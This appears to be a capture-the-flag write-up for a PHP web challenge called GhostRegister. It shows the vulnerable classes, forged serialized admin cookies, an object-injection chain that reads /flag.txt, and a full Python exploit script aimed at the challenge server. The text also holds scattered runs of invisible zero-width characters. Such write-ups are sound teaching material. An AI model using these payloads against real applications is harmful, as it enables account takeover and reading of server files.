← Back to Writeups
CUSTOMMediumWeb

GhostRegister

XESXOR9/2/20263 min read
#web#custom#medium#arbitrary_file_read_via_output#cookie_tampering_for_auth_bypa#php_object_injection_via_cooki#pop_chain_wakeup_magic_method

GhostRegister

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: arbitrary_file_read_via_output_class, cookie_tampering_for_auth_bypass, php_object_injection_via_cookie_deserialization, pop_chain_wakeup_magic_method

Summary

Walkthrough of the CUSTOM Web GhostRegister. Task: PHP 8.1 web app with login/registration storing serialized User object in cookie; profile.php deserializes it without validation. Solution: craft cookie with nested Output object in logger field

Description

Используйте ваши навыки анализа веб-приложений, чтобы обнаружить слабое звено и воспользоваться им для захвата чужой учетной записи

English summary: A PHP web application with login/registration system. The goal is to exploit a vulnerability to read the flag from the server.

Analysis

Reconnaissance

The application is a PHP 8.1.34 web app with the following structure:

  • Pages: index.php (login), register.php, register_process.php, authenticate.php, profile.php, logout.php
  • Classes: User.php, Logger.php, Output.php, FileReader.php
  • Web root: /var/www/html/ ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Cookie Mechanism

register_process.php sets a user cookie containing a base64-encoded serialized PHP object:

O:4:"User":4:{s:8:"username";s:5:"admin";s:8:"password";s:4:"test";s:4:"role";s:4:"user";s:6:"logger";N;}

This is a critical finding — the entire user state is stored client-side in a serialized PHP object, with no server-side session validation.

Insecure Deserialization

In profile.php, the cookie is deserialized without any validation or integrity check:

php
if (isset($_COOKIE['user'])) {
    $user = @unserialize(base64_decode($_COOKIE['user']));
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The @ error suppression operator hides any deserialization errors, and there is no HMAC, signature, or allowlist of permitted classes.

Source Code — Key Classes

User.php:

php
class User {
    public $username;
    public $password;
    public $role;
    public $logger;
    public function __construct($username = '', $password = '', $role = '', $logger = null) {
        $this->username = $username;
        $this->password = $password;
        $this->role = $role;
        $this->logger = $logger;
    }
    public function __wakeup() {
        if ($this->role === 'admin') {
            // echo "Добро пожаловать, администратор!\n";
        }
    }
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Output.php — the critical gadget:

php
class Output {
    public $file;
    public function __construct($file = '') {
        $this->file = $file;
    }
    public function __wakeup() {
        if ($this->file) {
            if (file_exists($this->file)) {
                echo file_get_contents($this->file) . "\n";
            }
        }
    }
}

Logger.php:

php
class Logger {
    public $fileReader;
    public function __construct($fileReader = null) {
        $this->fileReader = $fileReader;
    }
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

FileReader.php:

php
class FileReader {
    public $filename;
    public $output;
    public function __construct($filename = '', $output = null) {
        $this->filename = $filename;
        $this->output = $output;
    }
    public function __wakeup() {
        if ($this->filename) {
            $this->output = new Output($this->filename);
        }
    }
}

POP Chain Identification

The Output class is the key gadget. When deserialized, Output.__wakeup() is triggered automatically by PHP, which calls file_get_contents($this->file) and echoes the result directly to the page. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The chain is straightforward — no intermediate gadgets needed:

unserialize(base64_decode($_COOKIE['user']))
  → User object with logger = Output object
    → Output.__wakeup() triggered
      → file_get_contents('/flag.txt')
        → echo (output to page)

The User.logger property accepts any object, so we inject an Output instance with file set to /flag.txt.

Solution

Step 1: Authentication Bypass

The authenticate.php compares POST credentials against the cookie's serialized User object. We craft a cookie with role=admin and matching credentials: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

O:4:"User":4:{s:8:"username";s:5:"admin";s:8:"password";s:4:"test";s:4:"role";s:5:"admin";s:6:"logger";N;}

Base64-encode this and set it as the user cookie, then POST username=admin&password=test to authenticate.php.

Step 2: Craft Exploit Cookie

Replace the logger field with a nested Output object pointing to /flag.txt:

O:4:"User":4:{s:8:"username";s:5:"admin";s:8:"password";s:4:"test";s:4:"role";s:5:"admin";s:6:"logger";O:6:"Output":1:{s:4:"file";s:9:"/flag.txt";}}

Step 3: Trigger Deserialization

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Access profile.php with the exploit cookie. PHP deserializes the entire object graph, triggering Output.__wakeup() on the nested object, which reads and displays /flag.txt.

Full Exploit Script

python
#!/usr/bin/env python3
import requests
import base64

TARGET = "http://62.173.140.174:16119"

# Step 1: Create login cookie with admin role
login_payload = 'O:4:"User":4:{s:8:"username";s:5:"admin";s:8:"password";s:4:"test";s:4:"role";s:5:"admin";s:6:"logger";N;}'
login_cookie = base64.b64encode(login_payload.encode()).decode()
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

s = requests.Session()
s.cookies.set('user', login_cookie, domain='62.173.140.174')
s.post(f"{TARGET}/authenticate.php", data={"username": "admin", "password": "test"}, allow_redirects=False)

# Step 2: Set exploit cookie — Output object nested in logger field
exploit_payload = 'O:4:"User":4:{s:8:"username";s:5:"admin";s:8:"password";s:4:"test";s:4:"role";s:5:"admin";s:6:"logger";O:6:"Output":1:{s:4:"file";s:9:"/flag.txt";}}'
exploit_cookie = base64.b64encode(exploit_payload.encode()).decode()
s.cookies.set('user', exploit_cookie, domain='62.173.140.174')
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Step 3: Access profile to trigger deserialization → flag displayed
r = s.get(f"{TARGET}/profile.php")
print(r.text)
# Flag: CODEBY{REDACTED}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

  • Mastering arbitrary_file_read_via_output_class, cookie_tampering_for_auth_bypass, php_object_injection_via_cookie_deserialization, pop_chain_wakeup_magic_method was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-03 • CUSTOM • GhostRegister • Difficulty: Medium